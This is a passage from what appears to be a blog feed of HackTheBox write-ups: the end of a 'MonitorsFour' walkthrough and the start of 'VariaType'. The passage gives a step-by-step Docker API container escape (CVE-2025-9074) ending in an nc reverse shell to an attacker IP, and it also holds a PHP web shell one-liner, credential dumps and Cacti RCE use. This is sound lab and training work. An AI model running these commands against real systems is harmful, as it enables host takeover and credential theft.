&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cacti &lt;span class="o"&gt;[&lt;/span&gt;Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 55ms&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;:: Progress: &lt;span class="o"&gt;[&lt;/span&gt;19966/19966&lt;span class="o"&gt;]&lt;/span&gt; :: Job &lt;span class="o"&gt;[&lt;/span&gt;1/1&lt;span class="o"&gt;]&lt;/span&gt; :: &lt;span class="m"&gt;716&lt;/span&gt; req/sec :: Duration: &lt;span class="o"&gt;[&lt;/span&gt;0:00:28&lt;span class="o"&gt;]&lt;/span&gt; :: Errors: &lt;span class="m"&gt;0&lt;/span&gt; ::
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="cacti_page.png" alt=""&gt;&lt;em&gt;cacti.monitorsfour.htb/cacti&lt;/em&gt;&lt;/p&gt;
&lt;h1 id="foothold"&gt;Foothold&lt;/h1&gt;
&lt;p&gt;Basic searches on the version of the Cacti framework listed near the footer of the login page (as seen above) made available a CVSS 8.8 rated vulnerability (&lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2025-24367"&gt;CVE-2025-24367&lt;/a&gt;) which allows authenticated users to take advantage of improper sanitization in the graph creation mechanism to execute code remotely (&lt;a href="https://github.com/Cacti/cacti/security/advisories/GHSA-fxrq-fr7h-9rqq"&gt;netniV&lt;/a&gt;). Other methods involving unauthenticated exploits with this server were explored, but through more rigorous credential guessing, the previously found user, admin, had reused their password to authenticate with username &amp;ldquo;marcus&amp;rdquo; in the Cacti dashboard.
&lt;img src="cacti_login.png" alt=""&gt;&lt;/p&gt;
&lt;p&gt;CVE-2025-24367 is available for simple exploitation using the Metasploit framework tool &lt;code&gt;msfconsole&lt;/code&gt;, using the module titled: &lt;code&gt;multi/http/cacti_graph_template_rce&lt;/code&gt; It&amp;rsquo;s trivial to achieve a remote reverse shell using this module.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;When the reverse shell was established, it&amp;rsquo;s notable to applaud the safeguards of the deployers of this application for running the &lt;code&gt;cacti&lt;/code&gt; framework as an unprivileged, dedicated user &lt;code&gt;wwwdata&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Mitigation&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Update Cacti to &amp;gt;v1.2.28 to prevent users from escaping rrdtool using newline characters. &lt;em&gt;&lt;a href="https://github.com/Cacti/cacti/security/advisories/GHSA-fxrq-fr7h-9rqq"&gt;Source&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1 id="privilege-escalation"&gt;Privilege Escalation&lt;/h1&gt;
&lt;p&gt;The container that Cacti sits in appeared to be of the WSL type. The following is the output of &lt;code&gt;uname -a&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Linux version 6.6.87.2-microsoft-standard-WSL2 &lt;span class="o"&gt;(&lt;/span&gt;root@439a258ad544&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;gcc &lt;span class="o"&gt;(&lt;/span&gt;GCC&lt;span class="o"&gt;)&lt;/span&gt; 11.2.0, GNU ld &lt;span class="o"&gt;(&lt;/span&gt;GNU Binutils&lt;span class="o"&gt;)&lt;/span&gt; 2.37&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;#1 SMP PREEMPT_DYNAMIC Thu Jun 5 18:30:46 UTC 2025&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;wwwdata&lt;/code&gt; had access to a number of sensitive documents such as an environment variable and cacti&amp;rsquo;s config.php, each containing sensitive credentials related to the databases of both the Cacti and MonitorsFour websites. The following few blocks of bash are excerpts from the Linux enumeration tool &lt;a href="https://linpeas.sh(https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS)"&gt;&lt;code&gt;linpeas.sh&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;╔══════════╣ Analyzing Env Files &lt;span class="o"&gt;(&lt;/span&gt;limit 70&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-rwxr-xr-x &lt;span class="m"&gt;1&lt;/span&gt; www-data www-data &lt;span class="m"&gt;97&lt;/span&gt; Sep &lt;span class="m"&gt;13&lt;/span&gt; &lt;span class="m"&gt;2025&lt;/span&gt; /var/www/app/.env
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;DB_HOST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;mariadb
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;DB_PORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;3306&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;DB_NAME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;monitorsfour_db
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;DB_USER&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;monitorsdbuser
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;DB_PASS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;f37p2j8f4t0r
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;╔══════════╣ Analyzing Cacti Files &lt;span class="o"&gt;(&lt;/span&gt;limit 70&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;drwxr-xr-x &lt;span class="m"&gt;1&lt;/span&gt; www-data www-data &lt;span class="m"&gt;4096&lt;/span&gt; Apr &lt;span class="m"&gt;30&lt;/span&gt; 03:36 /var/www/html/cacti
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-rwxr-xr-x &lt;span class="m"&gt;1&lt;/span&gt; www-data www-data &lt;span class="m"&gt;7159&lt;/span&gt; Sep &lt;span class="m"&gt;13&lt;/span&gt; &lt;span class="m"&gt;2025&lt;/span&gt; /var/www/html/cacti/include/config.php
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$database_type&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;mysql&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$database_default&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;cacti&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$database_username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;cactidbuser&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$database_password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;7pyrf6ly8qx4&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$database_port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;3306&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$database_ssl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; false&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$database_ssl_key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$database_ssl_cert&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$database_ssl_ca&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#$rdatabase_type = &amp;#39;mysql&amp;#39;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#$rdatabase_default = &amp;#39;cacti&amp;#39;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#$rdatabase_username = &amp;#39;cactiuser&amp;#39;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#$rdatabase_password = &amp;#39;cactiuser&amp;#39;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#$rdatabase_port = &amp;#39;3306&amp;#39;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#$rdatabase_ssl = false;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#$rdatabase_ssl_key = &amp;#39;&amp;#39;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#$rdatabase_ssl_cert = &amp;#39;&amp;#39;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#$rdatabase_ssl_ca = &amp;#39;&amp;#39;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;wwwdata&lt;/code&gt; also had write privileges on each of these databases. This was demonstrated by overwriting the bcrypt and MD5 password hashes located in the Cacti and MonitorsFour databases, respectively. These changes to the hash were immediately reflected in the web applications as well.&lt;/p&gt;
&lt;p&gt;linpeas.sh also identified mounted files to the Cacti container from it&amp;rsquo;s host including files &lt;code&gt;/etc/resolv.conf&lt;/code&gt;, &lt;code&gt;/etc/hostname&lt;/code&gt; and &lt;code&gt;/etc/hosts&lt;/code&gt;.
&lt;img src="mounted_resolv.conf.png" alt=""&gt;&lt;em&gt;mounted files&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/etc/resolv.conf&lt;/code&gt;, a DNS resolving config file, exposed more information about the environment to a potential attacker, confirming a previous finding in the MonitorsFour dashboard that exposes the version number of the Docker Engine version that&amp;rsquo;s hosting the Cacti and MonitorsFour dashboards.
&lt;img src="confirmation_of_use_of_de.png" alt=""&gt;&lt;/p&gt;
&lt;p&gt;Recalling from monitorsfour.htb:
&lt;img src="docker_desktop_version.png" alt=""&gt;&lt;/p&gt;
&lt;p&gt;A known &lt;a href="https://github.com/zenzue/CVE-2025-9074/blob/main/cve_2025_9074_poc.py"&gt;proof of concept&lt;/a&gt; exists for the vulnerability &lt;a href="https://www.sentinelone.com/vulnerability-database/cve-2025-9074/"&gt;CVE-2025-9074&lt;/a&gt;, which &amp;ldquo;allows local running Linux containers to access the Docker Enginer API.&amp;rdquo; (SentinalOne) Additionally: &amp;ldquo;On Docker Desktop for Windows with the WSL backend, the vulnerability additionally allows mounting the host drive with the same privileges as the user running Docker Desktop, potentially leading to complete host compromise.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;However, this script was not helpful in demonstrating a successful exploitation of this vulnerability, as the container doesn&amp;rsquo;t have Python installed. However, it did have access to web tools like &lt;code&gt;curl&lt;/code&gt;, which can also be used to interact with the API of the default IP address (192.168.65.7). The steps to reproducing the exploit through the use of individual API calls are as follows.&lt;/p&gt;
&lt;h2 id="steps-for-recreation-cve-2025-9074"&gt;Steps for Recreation: CVE-2025-9074&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Check available images: &lt;code&gt;curl http://192.168.65.7:2375/images/json 2&amp;gt;/dev/null | grep -o '&amp;quot;RepoTags&amp;quot;:\[&amp;quot;[^&amp;quot;]*&amp;quot;'&lt;/code&gt;
&lt;img src="initial_reverse_shell.png" alt=""&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Create a container with the Windows C:\ drive (default letter) mounted:&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -s -X POST http://192.168.65.7:2375/containers/create &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -H &lt;span class="s2"&gt;&amp;#34;Content-Type: application/json&amp;#34;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -d &lt;span class="s1"&gt;&amp;#39;{
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; &amp;#34;Image&amp;#34;: &amp;#34;alpine&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; &amp;#34;Cmd&amp;#34;: [&amp;#34;sh&amp;#34;, &amp;#34;-c&amp;#34;, &amp;#34;sleep 3600&amp;#34;],
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; &amp;#34;HostConfig&amp;#34;: {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; &amp;#34;Binds&amp;#34;: [&amp;#34;/mnt/host/c:/host_root&amp;#34;]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; }&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;ID_RETURNED_HERE&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="3"&gt;
&lt;li&gt;
&lt;p&gt;Using the returned container ID, start it: &lt;code&gt;curl -s -X POST http://192.168.65.7:2375/containers/&amp;lt;ID&amp;gt;/start&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Create an &lt;code&gt;exec&lt;/code&gt; instance of a given command (returning a new ID):&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -s -X POST http://192.168.65.7:2375/containers/&amp;lt;CONTAINER_ID&amp;gt;/exec &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -H &lt;span class="s2"&gt;&amp;#34;Content-Type: application/json&amp;#34;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -d &lt;span class="s1"&gt;&amp;#39;{&amp;#34;AttachStdin&amp;#34;:true,&amp;#34;AttachStdout&amp;#34;:true,&amp;#34;AttachStderr&amp;#34;:true,&amp;#34;Tty&amp;#34;:true,&amp;#34;Cmd&amp;#34;:[&amp;#34;sh&amp;#34;,&amp;#34;-c&amp;#34;,&amp;#34;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc 10.10.15.205 4444 &amp;gt;/tmp/f&amp;#34;]}&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;ID_RETURNED_HERE&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="5"&gt;
&lt;li&gt;Trigger the command exec handle by sending a POST request to &lt;code&gt;/start&lt;/code&gt;:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -s -X POST http://192.168.65.7:2375/exec/&amp;lt;EXEC_ID&amp;gt;/start -H &lt;span class="s2"&gt;&amp;#34;Content-Type: application/json&amp;#34;&lt;/span&gt; -d &lt;span class="s1"&gt;&amp;#39;{&amp;#34;Detach&amp;#34;:false,&amp;#34;Tty&amp;#34;:false}&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="root_rev_shell.png" alt=""&gt;&lt;/p&gt;</description></item><item><title>HackTheBox Writeup - "VariaType"</title><link>https://mdunn99.com/posts/variatype-htb/</link><pubDate>Wed, 15 Apr 2026 00:00:00 +0000</pubDate><guid>https://mdunn99.com/posts/variatype-htb/</guid><description>&lt;p&gt;&amp;ldquo;VariaType&amp;rdquo; is a medium-rated Linux box on HackTheBox: &lt;a href="https://app.hackthebox.com/machines/VariaType?sort_by=created_at&amp;amp;sort_type=desc"&gt;https://app.hackthebox.com/machines/VariaType?sort_by=created_at&amp;amp;sort_type=desc&lt;/a&gt;&lt;/p&gt;
&lt;h1 id="recon"&gt;Recon&lt;/h1&gt;
&lt;p&gt;The first thing I did was ran a standard nmap version scan on the IP address (targeting the most popular 1000 ports): &lt;code&gt;nmap -sV 10.129.23.65&lt;/code&gt;. This returned an apparent web server and open SSH port:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Starting Nmap 7.95 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2026-04-01 11:47 EDT
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Nmap scan report &lt;span class="k"&gt;for&lt;/span&gt; 10.129.23.65
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.050s latency&lt;span class="o"&gt;)&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Not shown: &lt;span class="m"&gt;998&lt;/span&gt; closed tcp ports &lt;span class="o"&gt;(&lt;/span&gt;reset&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PORT STATE SERVICE VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 &lt;span class="o"&gt;(&lt;/span&gt;protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;80/tcp open http nginx 1.22.1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Service Info: OS: Linux&lt;span class="p"&gt;;&lt;/span&gt; CPE: cpe:/o:linux:linux_kernel
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Nmap &lt;span class="k"&gt;done&lt;/span&gt;: &lt;span class="m"&gt;1&lt;/span&gt; IP address &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; host up&lt;span class="o"&gt;)&lt;/span&gt; scanned in 7.80 seconds
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I navigated to the IP address in my browser to find that it was an unresolved domain, variatype.htb. So, I had to manually add this IP and it&amp;rsquo;s associated domain name to my local hosts file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;10.129.23.65 variatype.htb
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This is the website I was met with:
&lt;img src="variatype_root_site.png" alt=""&gt;&lt;/p&gt;
&lt;p&gt;The first thing I naturally did was click &amp;ldquo;Generate your Variable Font,&amp;rdquo; which brought me to an upload site at &lt;code&gt;/tools/variatype-font-generator&lt;/code&gt;:
&lt;img src="variable_font_generator_site.png" alt=""&gt;&lt;/p&gt;
&lt;p&gt;My first thought was to try to upload some sort of php reverse shell by simply appending the required .designspace and .ttf extension names to a shell file like &lt;code&gt;&amp;lt;?php system($_REQUEST[&amp;quot;cmd&amp;quot;]); ?&amp;gt;&lt;/code&gt;. I unfortunately was met with &amp;ldquo;Font generation failed during processing,&amp;rdquo; which I didn&amp;rsquo;t care too much for since the file still could&amp;rsquo;ve been uploaded, I just would&amp;rsquo;ve needed to find where it was uploaded and have the server execute the payload. Naturally, my next step was to try to find where files were being stored on this server so that, if I could successfully upload a payload, I could find a way to execute it.&lt;/p&gt;
&lt;p&gt;I used ffuf and SecLists wordlists for this task and simply enumerated directories and files. I enumerated the root website directory, /services, /tools, and nothing really turned up. I figured I&amp;rsquo;d pivot and look for subdomains: &lt;code&gt;ffuf -u http://variatype.htb -H &amp;quot;Host: FUZZ.variatype.htb&amp;quot; -w subdomains.txt&lt;/code&gt;. I found &lt;code&gt;portal.variatype.htb&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src="portal_variatype_htb.png" alt=""&gt;&lt;/p&gt;
&lt;p&gt;I enumerated through the root directory of this site:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;index.php &lt;span class="o"&gt;[&lt;/span&gt;Status: 200, Size: 2494, Words: 445, Lines: 59, Duration: 52ms&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;download.php &lt;span class="o"&gt;[&lt;/span&gt;Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 53ms&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;auth.php &lt;span class="o"&gt;[&lt;/span&gt;Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 50ms&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;view.php &lt;span class="o"&gt;[&lt;/span&gt;Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 52ms&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;. &lt;span class="o"&gt;[&lt;/span&gt;Status: 200, Size: 2494, Words: 445, Lines: 59, Duration: 52ms&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;styles.css &lt;span class="o"&gt;[&lt;/span&gt;Status: 200, Size: 8789, Words: 1020, Lines: 370, Duration: 51ms&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dashboard.php &lt;span class="o"&gt;[&lt;/span&gt;Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 53ms&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.git &lt;span class="o"&gt;[&lt;/span&gt;Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 49ms&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We may be able to use these files for later. However, I&amp;rsquo;m more interested in the .git.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ll go ahead and pull the contents of the git repo using a tool called &lt;a href="https://github.com/arthaud/git-dumper"&gt;git-dumper&lt;/a&gt;. I need to use &lt;code&gt;git-dumper&lt;/code&gt; because git itself relies on the git protocol, of which a repo stored as just a folder on a web server is not. I&amp;rsquo;ll add this pulled &lt;code&gt;.git&lt;/code&gt; to my VariaType working directory, and inspect the repo by running &lt;code&gt;git log&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;commit 753b5f5957f2020480a19bf29a0ebc80267a4a3d &lt;span class="o"&gt;(&lt;/span&gt;HEAD -&amp;gt; master&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Author: Dev Team &amp;lt;dev@variatype.htb&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Date: Fri Dec &lt;span class="m"&gt;5&lt;/span&gt; 15:59:33 &lt;span class="m"&gt;2025&lt;/span&gt; -0500
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; fix: add gitbot user &lt;span class="k"&gt;for&lt;/span&gt; automated validation pipeline
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;commit 5030e791b764cb2a50fcb3e2279fea9737444870
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Author: Dev Team &amp;lt;dev@variatype.htb&amp;gt;
